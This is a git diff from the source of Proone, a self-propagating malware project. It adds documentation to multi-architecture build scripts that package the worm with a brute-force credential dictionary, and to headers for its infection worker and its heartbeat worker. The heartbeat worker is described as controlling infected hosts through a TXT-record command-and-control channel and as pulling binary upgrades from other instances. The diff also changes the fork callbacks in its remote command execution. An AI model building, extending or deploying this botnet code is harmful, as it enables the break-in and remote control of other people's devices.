diff options
-rw-r--r-- | doc/fmts.md | 2 | ||||
-rwxr-xr-x | scripts/build-all.sh | 40 | ||||
-rwxr-xr-x | scripts/build-arch.sh | 24 | ||||
-rwxr-xr-x | scripts/do_symsize.sh | 26 | ||||
-rwxr-xr-x | scripts/extsymsize.sh | 35 | ||||
-rw-r--r-- | src/bne.h | 12 | ||||
-rwxr-xr-x | src/build-utils.sh | 1 | ||||
-rw-r--r-- | src/endian.h | 74 | ||||
-rw-r--r-- | src/htbt.c | 17 | ||||
-rw-r--r-- | src/htbt.h | 154 | ||||
-rw-r--r-- | src/imap.h | 62 | ||||
-rw-r--r-- | src/inet.h | 73 | ||||
-rw-r--r-- | src/iobuf.h | 89 | ||||
-rw-r--r-- | src/proone-htbthost.c | 4 | ||||
-rw-r--r-- | src/proone.c | 4 |
15 files changed, 565 insertions, 52 deletions
diff --git a/doc/fmts.md b/doc/fmts.md index cac8061..f962224 100644 --- a/doc/fmts.md +++ b/doc/fmts.md @@ -239,7 +239,7 @@ combination. The format of combo lines is specified below. | Field | Description | | -------- | ----------------------------------------------------------------- | -| WEIGHT | (required) weight value with range of 0 to 255 | +| WEIGHT | (required) weight value in range \[0, 255\] | | USERNAME | (required) username string | | PW | (optional) password string | diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 038c124..61e749f 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -1,6 +1,15 @@ #!/bin/bash -set -e +## \file +# \brief Build all target arches specified and native tools necessary for +# fabrication of executables. You'll use this script a lot! +# \note xcomp is required for this script to function. +set -e # die on error +## +# \note \c ARCH_ARR, \c TOOLCHAIN_ARR and \c HOST_ARR form tuples of target +# arches. \c ARCH_ARR lists the name of the arches to be used for the output +# files(suffix). \c TOOLCHAIN_ARR lists the \b xcomp targets for each arch. +# \c HOST_ARR is the list of the toolchain prefixes. ARCH_ARR=( # "aarch64" "armv4t" @@ -37,6 +46,7 @@ HOST_ARR=( "powerpc-linux" "sh4-linux" ) +# Length check. All three arrays must have the same number of elements. ARR_SIZE="${#ARCH_ARR[@]}" if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ]; @@ -45,21 +55,37 @@ then exit 2 fi +# The root prefix. Note that the script is run from the project root directory. PROONE_PREFIX="builds" +# The prefix to debug symbol files PROONE_DEBUG_SYM_DIR="$PROONE_PREFIX/debug" +# The prefix to Proone executables PROONE_EXEC_DIR="$PROONE_PREFIX/proone.bin" +# The prefix to native tools PROONE_TOOLS_DIR="$PROONE_PREFIX/tools" +# The prefix to miscellaneous executables for target PROONE_MISC_BIN_DIR="$PROONE_PREFIX/misc" +# The name of the directory for release build Proone executables PROONE_REL_DIR="$PROONE_PREFIX/proone" +# The prefix to debug symbol files export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM_DIR/" +# The prefix to all stripped executables export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/stripped" +# The prefix to the original Proone executable output by the compiler export PROONE_ENTIRE_PREFIX="$PROONE_EXEC_DIR/entire" +# The prefix to the disassembler output export PROONE_ASM_PREFIX="$PROONE_EXEC_DIR/asm" +# The prefix to the readelf output export PROONE_READELF_PREFIX="$PROONE_EXEC_DIR/readelf" +# The prefix to the miscellaneous executables export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/" +# The prefix to the names of the release build Proon executables PROONE_REL_PREFIX="$PROONE_REL_DIR/proone" +# The path to the cred dict binary file PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin" +# The path to the dvault binary file PROONE_DVAULT="$PROONE_PREFIX/dvault.bin" +# The array of the native tools PROONE_TOOLS=" proone-pack proone-list-arch @@ -68,7 +94,9 @@ PROONE_TOOLS=" proone-ipaddr-arr " +################################################################################ +# Drop the root directory and set up the skeleton rm -rf "$PROONE_PREFIX" mkdir\ "$PROONE_PREFIX"\ @@ -77,27 +105,29 @@ mkdir\ "$PROONE_TOOLS_DIR"\ "$PROONE_MISC_BIN_DIR"\ "$PROONE_REL_DIR" +# Ignore the clean up error because the project may not have been configured set +e make distclean set -e -# native build for tools +# Build native tools ./configure $PROONE_AM_CONF make -j$(nproc) -C src $PROONE_TOOLS for t in $PROONE_TOOLS; do cp -a "src/$t" "$PROONE_TOOLS_DIR" done +# Copy the test suites as well cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR" make distclean -# generate dvault +# Generate dvault and cred dict binary "$PROONE_TOOLS_DIR/proone-mkcdict"\ "./src/proone_conf/cred_dict.txt"\ "$PROONE_CDICT" "$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT" DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT") -# cross-compile targets +# Build all targets for (( i = 0; i < ARR_SIZE; i += 1 )); do PROONE_BIN_OS="linux"\ PROONE_HOST="${HOST_ARR[$i]}"\ @@ -107,7 +137,7 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do "scripts/build-arch.sh" done -# pack +# Do pack "$PROONE_TOOLS_DIR/proone-pack"\ "$PROONE_REL_PREFIX"\ "$PROONE_DVAULT"\ diff --git a/scripts/build-arch.sh b/scripts/build-arch.sh index 9fc2ed0..3127850 100755 --- a/scripts/build-arch.sh +++ b/scripts/build-arch.sh @@ -1,17 +1,38 @@ #!/bin/bash +## \file +# \brief Build one target. Usually, this script is run by build-all.sh although +# it can be run standalone by setting all the required environment variables +# by hand. set -e +# Miscellaneous executables MISC_BIN=" proone-stress proone-resolv proone-test_proto proone-test_util " +# Proone executable output path BIN_PATH="$PROONE_EXEC_PREFIX.$PROONE_BIN_OS.$PROONE_BIN_ARCH" +# Unstripped Proone executable output path ENTIRE_BIN_PATH="$PROONE_ENTIRE_PREFIX.$PROONE_BIN_OS.$PROONE_BIN_ARCH" +# Path to readelf output of unstripped executable READELF_PATH="$PROONE_READELF_PREFIX.$PROONE_BIN_OS.$PROONE_BIN_ARCH" +# Disassembler output path (unused) ASM_PATH="$PROONE_ASM_PREFIX.$PROONE_BIN_OS.$PROONE_BIN_ARCH" +## +# \brief Separate debug symbols from an executable +# \param[in] 1 the input executable +# \param[out] 2 the stripped executable for release build +# \param[out] 3 the debug symbols +# \param[out] 4 (optional)a copy of \p 1 +# \note This is a convenience function for creating various binary files from +# the compiler executable output. The two types of files, the stripped +# executable and the debug symbol, should be kept for each release in order to +# analyse core dumps. +# \note When \p 4 is used, the function copies \p 1 to \p 4 and +# dumps the output of readelf to \c $READELF_PATH. separate_debug() { cp -a "$1" "$2" if [ ! -z "$4" ]; then @@ -37,11 +58,13 @@ separate_debug() { "$PROONE_HOST-objcopy" --add-gnu-debuglink="$3" "$2" } +# do build ./configure --host="$PROONE_HOST" --enable-static $PROONE_AM_CONF cd src make -j$(nproc) proone.bin $MISC_BIN cd .. +# extract output separate_debug\ src/proone.bin\ "$BIN_PATH"\ @@ -54,4 +77,5 @@ for b in $MISC_BIN; do "$PROONE_DEBUG_SYM_PREFIX""$b.sym.$PROONE_BIN_OS.$PROONE_BIN_ARCH" done +# clean up for the next arch build make distclean diff --git a/scripts/do_symsize.sh b/scripts/do_symsize.sh index 154fb00..990c0ba 100755 --- a/scripts/do_symsize.sh +++ b/scripts/do_symsize.sh @@ -1,25 +1,44 @@ #!/bin/bash +## \file +# \brief Generate the text files of the symbol size table from the readelf +# output. The values are separated by white spaces. Only 3 fields are +# extracted in order: the size of symbol in decimal, the type of the symbol +# and the name of the symbol. The text files can be imported into spreadsheet +# or document files to make the tables a printable form. + +# The input prefix ELF_PREFIX='./builds/proone.bin/readelf' +# The output prefix OUT_PREFIX='./builds/proone.bin/symsize' +# The number of threads on the host NPROC=$(nproc) +# The number of concurrent processes NB_PROC=0 -# -# \param 1: input file -# \param 2: output file +## +# \brief Call the script that actually does the job +# \param 1 input file +# \param 2 output file call_extsymsize () { ./scripts/extsymsize.sh < "$1" | sort -nr > "$2" } +# Process each readelf output file for f in "$ELF_PREFIX".*; do + # Extract the arch from the file name + # The script assumes that the "middle name" is the name of the arch suffix=$(echo "$f" | egrep -o '(\.\w+\.\w+)$') if [ $? -ne 0 ]; then echo "$f: invalid suffix" >&2 exit 1 fi + # Die on error: while running \c extsymsize.sh or in the process of + # launching it set -e out="$OUT_PREFIX""$suffix" + # Limit the number of processses running concurrently to the number of + # threads on the host. if [ $NB_PROC -lt $NPROC ]; then call_extsymsize "$f" "$out" & let 'NB_PROC += 1' @@ -30,6 +49,7 @@ for f in "$ELF_PREFIX".*; do set +e done +# Reap processes for (( i = 0; i < NB_PROC; i += 1 )); do wait done diff --git a/scripts/extsymsize.sh b/scripts/extsymsize.sh index b73a216..d7f2572 100755 --- a/scripts/extsymsize.sh +++ b/scripts/extsymsize.sh @@ -1,5 +1,12 @@ #!/bin/bash +## \file +# \brief Process the standard input to extract the desired fields from readelf +# output. Use \c do_symsize.sh to generate the tables for all targets. + +# The number of symbol tables. Should be 1 but multiple symbol tables may exist. NB_SYMTABS=0 +# The headers of the fields to extract in the order they should appear in the +# output. declare -a FMT_HEADERS FMT_HEADERS=( "size" @@ -7,8 +14,12 @@ FMT_HEADERS=( "name" ) -# -# \param 1: re of the line to skip to +## +# \brief Skip to the line that matches the regular expression +# \param 1 The regular expression of the line to skip to +# \retval 0 if a line that mathces the regular expression has been processed and +# the pending standard input data is now the line that follows. +# \retval 1 if no match has been found and the standard input has reached EOF. skip_to () { while read l; do if echo "$l" | egrep -q "$1"; then @@ -18,15 +29,18 @@ skip_to () { return 1 } -# -# \param *: message +## +# \brief This is just like \c echo, except that it outputs to the standard +# error, not output. echo_err () { echo $@ >&2 } -# -# \param 1: (optional)message -# \param 2: (optional)exit code +## +# \brief Exit with error code and message. +# \param 1 (optional)The error message. No output is generated if empty string. +# \param 2 (optional)The exit code. Must be a numeric value that's accepted by +# the OS. The default value 1 is used if empty string. die () { local ec @@ -41,15 +55,18 @@ die () { exit $ec } +# For each symbol table while skip_to "^[Ss]ymbol table '(\\.|\\w)+' contains [0-9]+ entries:\$"; do unset idx_map name_map declare -A idx_map name_map + # Read the header line if ! read l; then die "Unexpected EOF" fi let 'NB_SYMTABS += 1' + # Map the fields i=0 for h in $l; do h="${h,,}" @@ -68,6 +85,7 @@ while skip_to "^[Ss]ymbol table '(\\.|\\w)+' contains [0-9]+ entries:\$"; do let 'i += 1' done + # Check if all the fields desired are there for i in ${FMT_HEADERS[@]}; do if [ -z ${idx_map["$i"]} ]; then echo_err "Missing header in symbol table: ${FMT_HEADERS["$i"]}" @@ -75,6 +93,8 @@ while skip_to "^[Ss]ymbol table '(\\.|\\w)+' contains [0-9]+ entries:\$"; do fi done + # For each entry line + # Assume that the table ends with an empty line while read l && [ ! -z "$l" ]; do unset size type name @@ -96,6 +116,7 @@ while skip_to "^[Ss]ymbol table '(\\.|\\w)+' contains [0-9]+ entries:\$"; do done done +# Treat input data with no symbol table as error if [ $NB_SYMTABS -eq 0 ]; then die "No symbol table found." fi @@ -86,7 +86,9 @@ typedef enum prne_bne_vector prne_bne_vector_t; /** * \brief The BNE worker parameter object - * \note The referenced objects must be valid until the worker is freed. + * \warning The referenced objects must be valid until the worker is freed. + * \see \c prne_init_bne_param() + * \see \c prne_free_bne_param() */ struct prne_bne_param { // The cred dict to use for brute force login (optional) @@ -339,11 +341,11 @@ const char *prne_bne_vector_tostr (const prne_bne_vector_t v); /** * \brief Allocate and start an instance of the BNE worker - * \param w A pointer to the pth worker object. + * \param w The pointer to the pth worker object. * \param ctr_drbg An instance of CTR DRBG for initialising internal PRNGs. - * \param param A pointer to the BNE worker parameter object. - * \return A pointer to the new instance of the BNE worker. A null pointer - * on error. + * \param param The pointer to the BNE worker parameter object. + * \return The pointer to the new instance of the BNE worker. + * \retval NULL on error with \c errno set. * \note The worker keeps its own copy of \p param. The memory used for \p param * can be freed after the function returns. * \note The thread can be controlled with \p w. The interruption of the worker, diff --git a/src/build-utils.sh b/src/build-utils.sh index 22b5208..98700e8 100755 --- a/src/build-utils.sh +++ b/src/build-utils.sh @@ -107,6 +107,7 @@ cmd_append-uint16 () { printf "\\x$a\\x$b" >> "$2" } +# Invoke subcommand SELF="$0" cmd="$1" shift 1 diff --git a/src/endian.h b/src/endian.h index 11712b5..0b3e8af 100644 --- a/src/endian.h +++ b/src/endian.h @@ -1,3 +1,14 @@ +/** \file + * \brief Proone's own <endian.h>. Proone does not use <endian.h> present on + * many platforms simply because the header is not a standard. Proone does not + * use the traditional byte swap approach to solve the endianness problem for + * data communication so that all arches have the same disadvantage when + * communicating with other hosts. + * \note The functions in the internet protocol headers are used if present to + * avoid confusion. + * \see BYTEORDER(3) + * \see <arpa/inet.h> + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -20,23 +31,43 @@ * SOFTWARE. */ #pragma once -/********************************************************************** -* Endianess Independent Byte Extraction -***********************************************************************/ -/* prne_getmsbN(x, n) -* -* Extract nth most significant byte of x. -*/ + +/** \def prne_getmsb \def prne_getmsb64 \def prne_getmsb32 \def prne_getmsb16 + * \brief Extract \p n th most significant byte of \p x + * \param[in] x The integer + * \param[in] n The byte place, in range of [0, 1] if \p x is 16-bit integer, + * [0, 3] if \p x is 32-bit integer, [0, 7] if \p x is 64-bit integer. + * \param[in] w The data type to use in calculation. One of uint_fastN_t + * variants. + * \param[in] s The number of bits to shift by. + * \return The 8-bit integer extracted from the \p n th place of \p x in range + * [0, 255]. + * \see \c prne_recmb_msb64() + * \see \c prne_recmb_msb32() + * \see \c prne_recmb_msb16() + */ #define prne_getmsb(x, n, w, s)\ (uint8_t)(((w)(x) & (w)0xFF << (s - 8 * (n))) >> (s - 8 * (n))) #define prne_getmsb64(x, n) prne_getmsb((x), (n), uint_fast64_t, 56) #define prne_getmsb32(x, n) prne_getmsb((x), (n), uint_fast32_t, 24) #define prne_getmsb16(x, n) prne_getmsb((x), (n), uint_fast16_t, 8) -/* prne_recmb_msbN(...) -* -* Recombine bytes in big-endian order to uintN. -*/ +/** \def prne_recmb_msb64 \def prne_recmb_msb32 \def prne_recmb_msb16 + * \brief Recombine bytes in big-endian order. + * \param a The first byte. + * \param b The second byte. + * \param c The third byte. + * \param d The fourth byte. + * \param e The fifth byte. + * \param f The sixth byte. + * \param g The seventh byte. + * \param h The eighth byte. + * \return The recombined integer in the host's endian. + * \see \c prne_getmsb() + * \see \c prne_getmsb64() + * \see \c prne_getmsb32() + * \see \c prne_getmsb16() + */ #define prne_recmb_msb64(a, b, c, d, e, f, g, h) (\ ((uint_fast64_t)(a) << 56) |\ ((uint_fast64_t)(b) << 48) |\ @@ -60,9 +91,18 @@ /* Machine Characteristics */ +/** \def PRNE_ENDIAN_LITTLE \def PRNE_ENDIAN_BIG + * \brief The values that can be matched against \c PRNE_HOST_ENDIAN + * \note The PDP endian is not defined because the ELF does not support it. + */ #define PRNE_ENDIAN_LITTLE 1 #define PRNE_ENDIAN_BIG 2 +/** \def PRNE_HOST_ENDIAN + * \brief The host endian. + * \see \c PRNE_ENDIAN_LITTLE + * \see \c PRNE_ENDIAN_BIG + */ #ifdef __GNUC__ #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ #define PRNE_HOST_ENDIAN PRNE_ENDIAN_BIG @@ -72,11 +112,23 @@ #error "FIXME!" #endif #else + // Expand this to support compilers other than GCC #error "FIXME!" #endif +/** + * \brief Swap bytes to invert the endianness of the 16-bit integer. + * \param x The integer. + * \returns The integer with its bytes swapped. + */ #define prne_einv16(x) (((0xFF00 & x) >> 8) | ((0x00FF & x) << 8)) +/** \def prne_htobe16 \def prne_be16toh \def prne_htole16 \def prne_le16toh + * \brief Convert the endianness of the integer. + * \param x The integer. + * \return The integer converted. + * \note Use the functions in <arpa/inet.h> where appropriate! + */ #if PRNE_HOST_ENDIAN == PRNE_ENDIAN_BIG #define prne_htobe16(x) (x) #define prne_be16toh(x) (x) @@ -1285,10 +1285,20 @@ static bool htbt_do_cmd ( cin[1] = cout[0] = cerr[0] = -1; } + if (ctx->cbset->fork.prepare != NULL && + !ctx->cbset->fork.prepare(ctx->cb_ctx)) + { + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_err = errno; + goto END; + } + to_kill = child = pth_fork(); if (child == 0) { do { // TRY - if (ctx->cbset->fork != NULL && !ctx->cbset->fork(ctx->cb_ctx)) { + if (ctx->cbset->fork.child != NULL && + !ctx->cbset->fork.child(ctx->cb_ctx)) + { break; } @@ -1326,7 +1336,10 @@ static bool htbt_do_cmd ( write(errp[1], &ret_err, sizeof(int32_t)); raise(SIGKILL); } - else if (child < 0) { + else if (child < 0 || + (ctx->cbset->fork.parent != NULL && + !ctx->cbset->fork.parent(ctx->cb_ctx))) + { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_err = errno; goto END; @@ -1,3 +1,9 @@ +/** \file + * \brief The heartbeat worker. + * \note The heartbeat worker is a service that provides a means of controlling + * the infected host using the protocol of the same name. Two internal threads + * are launched to serve LBD and TXT REC CNC. + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -28,10 +34,13 @@ #include <mbedtls/ssl.h> +// The heartbeat worker handle (opaque) struct prne_htbt; +/* Alias declarations */ typedef struct prne_htbt prne_htbt_t; typedef struct prne_htbt_param prne_htbt_param_t; typedef struct prne_htbt_cbset prne_htbt_cbset_t; + typedef bool(*prne_htbt_cnc_txtrec_ft)(void *ctx, char *out); typedef bool(*prne_htbt_hostinfo_ft)(void *ctx, prne_htbt_host_info_t *out); typedef int(*prne_htbt_tmpfile_ft)( @@ -46,28 +55,169 @@ typedef bool(*prne_htbt_bin_ft)( const prne_htbt_cmd_t *cmd); typedef bool(*prne_htbt_fork_ft)(void *ctx); +/** + * \brief The heartbeat callback set object. + */ struct prne_htbt_cbset { - // All callback functions are optional. + /** + * \brief CNC TXT REC name callback (optional) + * \param ctx \c cb_ctx + * \param[out] out The pointer to the 256-elements-long array. The maximum + * possible length of the name of the CNC TXT REC is 255 characters. The + * string must be null-terminated. + * \retval true if the contents of \p out are successfully set. + * \retval false otherwise. \c errno may be used to indicate the error + * occurred during the process. + */ prne_htbt_cnc_txtrec_ft cnc_txtrec; + /** + * \brief Hostinfo request callback (optional) + * \param ctx \c cb_ctx + * \param[out] out The pointer to the initialised hostinfo object. The user + * implementation has to provide all the information available via this + * object. + * \retval true if the members of \p out are successfully set. + * \retval false otherwise. \c errno may be used to indicate the error + * occurred during the process. + */ prne_htbt_hostinfo_ft hostinfo; + /** + * \brief Create temporary file request callback (optional) + * \param ctx \c cb_ctx + * \param flags \c open() flags. + * \param mode \c open() mode. + * \param req_size The initial size of the temporary file. + * \param path (optional)null-terminated string, the path to the + * temporary file created. If used, the memory must be freeable with + * \c prne_free() + * \return An open and valid file descriptor upon successful creation of + * temporary file. + * \retval A negative integer with \c errno set to an appropriate value. + * + * \note + * This is the callback function that the worker uses to create + * temporary files. The user implementation should determine the path of + * the new temporary file using its own resources. The file should be + * grown to \p req_size using syscalls like \c fallocate(). The file may + * contain "holes". Any \c errno resulted during the process must be + * preserved when the function has returned so that the worker can + * respectively return the error in the \c prne_bne_result_t object. + * A temporary file is created to download a new version of executable. + */ prne_htbt_tmpfile_ft tmpfile; + /** + * \brief Binary upgrade event callback (optional) + * \param ctx \c cb_ctx + * \param path The path to the new executable. + * \param cmd The command line arguments without the first element, + * which is the path to the executable. + * \retval True if the new executable is accepted and no error has + * occurred during the process. + * \retval False otherwise with \c errno set to explain why the + * executable has not been accepted. + * + * \note + * This function is called by the worker upon the successful download of + * a new version of executable from another instance. The mode of the + * file at \p path is set so that it is executable. \p cmd is the + * command line options to be used when launching the executable. Note + * that an array for \c exec() should be composed as the first element + * of \p cmd is not \p path. + */ prne_htbt_bin_ft upbin; - prne_htbt_fork_ft fork; + struct { + /** + * \brief Fork prepare event callback (optional) + * \param ctx \c cb_ctx + * \retval true if preparation for fork() has been successful. + * \retval false otherwise with \c errno set to an appropriate value. + * \note This is the equivalent of the "prepare" argument to + * \c pthread_atfork() + * \see PTHREAD_ATFORK(3) + */ + prne_htbt_fork_ft prepare; + /** + * \brief Fork parent event callback (optional) + * \param ctx \c cb_ctx + * \retval true if the set up process for the parent process has been + * successful. + * \retval false otherwise with \c errno set to an appropriate value. + * \note This is the equivalent of the "parent" argument to + * \c pthread_atfork() + * \see PTHREAD_ATFORK(3) + */ + prne_htbt_fork_ft parent; + /** + * \brief Fork child event callback (optional) + * \param ctx \c cb_ctx + * \retval true if the set up process for the child process has been + * successful. + * \retval false otherwise with \c errno set to an appropriate value. + * \note This is the equivalent of the "child" argument to + * \c pthread_atfork() + * \see PTHREAD_ATFORK(3) + */ + prne_htbt_fork_ft child; + } fork; }; +/** + * \brief The heartbeat worker parameter object. + * \warning The referenced objects must be valid until the worker is freed. + * \note All of the members are required. + * \see \c prne_htbt_init_param() + * \see \c prne_htbt_free_param() + */ struct prne_htbt_param { + // The TLS config object for the LBD port mbedtls_ssl_config *lbd_ssl_conf; + // The TLS config for the "main" internal thread mbedtls_ssl_config *main_ssl_conf; + // The CTR_DRBG object for jitters and protocol message ids mbedtls_ctr_drbg_context *ctr_drbg; + // The resolv worker for CNCP prne_resolv_t *resolv; + // The callback function set prne_htbt_cbset_t cb_f; + // The callback context void *cb_ctx; + // The binary recombination parameter object const prne_rcb_param_t *rcb; + /** + * \brief The "blackhole" file descriptor. + * \note + * To maintain the internal IO abstration layer, a file descriptor that's + * always writeable(POLLOUT) is required. The purpose of the file descriptor + * is to make \c poll() return immediately. No data is actually written to + * the file descriptor. + * \note Either the null device or a file descriptor pair of a anonymous + * pipe can be used. + */ int blackhole; }; +/** + * \brief Allocate and start the heartbeat worker. + * \param w The pointer to the pth worker object. + * \param param The pointer to the heartbeat worker parameter object. + * \return The pointer to the instantiated heartbeat worker. + * \retval NULL on error with \c errno set. + * \note The worker keeps its own copy of \p param. The memory used for \p param + * can be freed after the function returns. + * \note The thread can be controlled with \p w. + */ prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t *param); +/** + * \brief Initialise the heartbeat worker parameter object + * \note Initialises the members of \p p to initial values. Prepares \p p so + * that it can be freed using \c prne_htbt_free_param() + */ void prne_htbt_init_param (prne_htbt_param_t *p); +/** + * \brief Free the resources allocated for the heartbeat worker parameter object + * \param p The pointer to the object that has been initialised using + * \c prne_htbt_init_param() + */ void prne_htbt_free_param (prne_htbt_param_t *p); @@ -1,3 +1,8 @@ +/** \file + * \brief The integer map implementation. + * \note The integer map implementation is usually used to map pointer to + * pointer. This is the C version of \c std::map<uintptr_t,uintptr_t> + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -25,33 +30,78 @@ #include <stdint.h> +/* Forward and alias declarations */ struct prne_imap; struct prne_imap_tuple; -typedef uintptr_t prne_imap_key_type_t; -typedef uintptr_t prne_imap_val_type_t; +typedef uintptr_t prne_imap_key_type_t; // The key data type +typedef uintptr_t prne_imap_val_type_t; // The value data type typedef struct prne_imap prne_imap_t; typedef struct prne_imap_tuple prne_imap_tuple_t; -struct prne_imap { +struct prne_imap { // The integer map object + // The table array kept in ascending order prne_imap_tuple_t *tbl; + // The number of elements in the table size_t size; }; -struct prne_imap_tuple { - prne_imap_key_type_t key; - prne_imap_val_type_t val; +struct prne_imap_tuple { // The tuple object + prne_imap_key_type_t key; // Key + prne_imap_val_type_t val; // Value }; +/** + * \brief Initialise the integer map object. + * \param im The pointer to the integer map object. + * \note \p im can be freed using \c prne_free_imap() once initialised. + * \see \c prne_free_imap() + */ void prne_init_imap (prne_imap_t *im); +/** + * \brief Free resources allocated for the integer map object. + * \param im The pointer to the integer map object. + * \see \c prne_init_imap() + */ void prne_free_imap (prne_imap_t *im); +/** + * \brief Clear the elements of the integer map object. + * \param im The pointer to the integer map object. + * \warning The function call may have the exact same effect as + * \c prne_free_imap() but \c prne_free_imap() must always be used. + */ void prne_imap_clear (prne_imap_t *im); +/** + * \brief Insert a tuple into the integer map object. + * \param im The pointer to the integer map object. + * \param key The key of the new tuple. + * \param val The value of the new tuple. + * \return The pointer to the new tuple allocated in the map. The pointer is + * valid as long as the map object remains unmodified. + * \note Calling the function invalidates the pointers previously returned by + * other functions. + */ const prne_imap_tuple_t *prne_imap_insert ( prne_imap_t *im, const prne_imap_key_type_t key, const prne_imap_val_type_t val); +/** + * \brief Erase the tuple with the \p key from the integer map object. + * \param im The pointer to the integer map object. + * \param key The key of the tuple to erase. + * \note Calling the function invalidates the pointers previously returned by + * other functions. + */ void prne_imap_erase (prne_imap_t *im, const prne_imap_key_type_t key); +/** + * \brief Look up the tuple with \p key in the integer map object. + * \param im The pointer to the integer map object. + * \param key The key to look for. + * \return The pointer to the tuple in the map. The pointer is valid as long as + * the map object remains unmodified. + * \retval NULL if the tuple with \p key is not found. + */ const prne_imap_tuple_t *prne_imap_lookup ( prne_imap_t *im, const prne_imap_key_type_t key); @@ -1,3 +1,8 @@ +/** \file + * \brief The utility functions for the internet protocol. + * \note The header includes functions which are required when using raw TCP/IP + * sockets. + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -27,10 +32,21 @@ #include "protocol.h" -// Workaround for header issues in uClibc +/* Alias declarations */ typedef struct prne_iphdr4 prne_iphdr4_t; typedef struct prne_iphdr6 prne_iphdr6_t; +/** \struct prne_iphdr4 \struct prne_iphdr6 + * \brief The workaround for the issues in uClibc headers. + * \note At the time of writing the code, the IPv6 support of uClibc was not + * complete and there were some problems using the IP headers provided by + * uClibc. These structures are exactly the same as the counterparts in the + * standard IP headers. + * \note The values must be in the host byte order. Unlike the standard + * functions, the serialisation and deserialisation functions are responsible + * for byte order conversion. + */ + struct prne_iphdr4 { uint8_t saddr[4]; uint8_t daddr[4]; @@ -50,13 +66,45 @@ struct prne_iphdr6 { uint8_t hop_limit; }; +/** + * \brief Set bits to represent the CIDR + * \param out The byte array used to represent the netmask. + * \param cidr The CIDR value. + * \note The number of elements modified is calculated by dividing \p cidr by 8. + * For example, if the \p cidr is passed as 24, only the first 3 elements of + * \p out are modified to set the first 24 bits. + * \warning The behaviour is undefined if \p cidr divided by 8 is larger than + * the size of \p out (buffer overflow). + */ void prne_netmask_from_cidr (uint8_t *out, size_t cidr); +/** + * \brief Calculate the checksum of the IPv4 TCP packet. + * \param ih The pointer to the IPv4 header structure. + * \param th The pointer to the TCP header data. + * \param th_len The byte length of the TCP header data. + * \param data The pointer to the payload data. + * \param data_len The byte length of the payload data. + * \return The calculated checksum value in the host byte order. The value must + * be converted to the network byte order. + */ uint16_t prne_calc_tcp_chksum4 ( const prne_iphdr4_t *ih, const uint8_t *th, size_t th_len, const uint8_t *data, size_t data_len); +/** + * \brief Calculate the checksum of the IPv6 TCP packet. + * \param ih The pointer to the IPv6 header structure. + * \param th The pointer to the TCP header data. + * \param th_len The byte length of the TCP header data. + * \param data The pointer to the payload data. + * \param data_len The byte length of the payload data. + * \return The calculated checksum value in the host byte order. The value must + * be converted to the network byte order. + * \note The same algorithm(the function) can be used to calculate the checksum + * values of ICMP packets. + */ uint16_t prne_calc_tcp_chksum6 ( const prne_iphdr6_t *ih, const uint8_t *th, @@ -64,8 +112,29 @@ uint16_t prne_calc_tcp_chksum6 ( const uint8_t *data, size_t data_len); +/** + * \brief Serialise the IPv4 header structure for transmission. + * \param mem The destination buffer. The length of the buffer must be at least + * 20 bytes. + * \param in The pointer to the IPv4 header structure. + */ void prne_ser_iphdr4 (uint8_t *mem, const prne_iphdr4_t *in); +/** + * \brief Serialise the IPv6 header structure for transmission. + * \param mem The destination buffer. The length of the buffer must be at least + * 40 bytes. + * \param in The pointer to the IPv6 header structure. + */ void prne_ser_iphdr6 (uint8_t *mem, const prne_iphdr6_t *in); - +/** + * \brief Deserialise the IPv4 header from the binary data. + * \param data The binary data. The length must be at least 20 bytes. + * \param out The pointer to the IPv4 header structure. + */ void prne_dser_iphdr4 (const uint8_t *data, prne_iphdr4_t *out); +/** + * \brief Deserialise the IPv6 header from the binary data. + * \param data The binary data. The length must be at least 40 bytes. + * \param out The pointer to the IPv6 header structure. + */ void prne_dser_iphdr6 (const uint8_t *data, prne_iphdr6_t *out); diff --git a/src/iobuf.h b/src/iobuf.h index 7d6233e..9446274 100644 --- a/src/iobuf.h +++ b/src/iobuf.h @@ -1,3 +1,9 @@ +/** \file + * \brief The IO buffer implementation. + * \note The IO buffer is a FIFO byte array object with some extra convenience + * functions. The IO buffer is similar to the C++ counterpart, + * \c std::vector<uint8_t> + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -27,26 +33,101 @@ #include <sys/types.h> +/* Alias declarations */ typedef struct prne_iobuf prne_iobuf_t; +// The IO buffer object. struct prne_iobuf { - uint8_t *m; - size_t size; - size_t avail; - size_t len; + uint8_t *m; // The buffer + size_t size; // The size of buffer + size_t avail; // The length of the buffer available (size - len) + size_t len; // The length of the contents + /* The ownership status of the buffer. + * True if the object is responsible for freeing the allocated memory for + * the buffer. False otherwise. + */ bool ownership; }; +/** + * \brief Initialise the IO buffer object. + * \param ib The pointer to the IO buffer object. + * \note \p ib can be freed using \c prne_free_iobuf() once initialised. + * \see \c prne_free_iobuf() + */ void prne_init_iobuf (prne_iobuf_t *ib); +/** + * \brief Free resources allocated for the IO buffer object. + * \param ib The pointer to the IO buffer object. + * \see \c prne_init_iobuf() + */ void prne_free_iobuf (prne_iobuf_t *ib); +/** + * \brief Allocate memory to set the size of the buffer. + * \param ib The pointer to the IO buffer object. + * \param ny_size The new byte size of the buffer. + * \retval true if allocation has been successful. + * \retval false otherwise with \c errno set. + */ bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size); +/** + * \brief Try 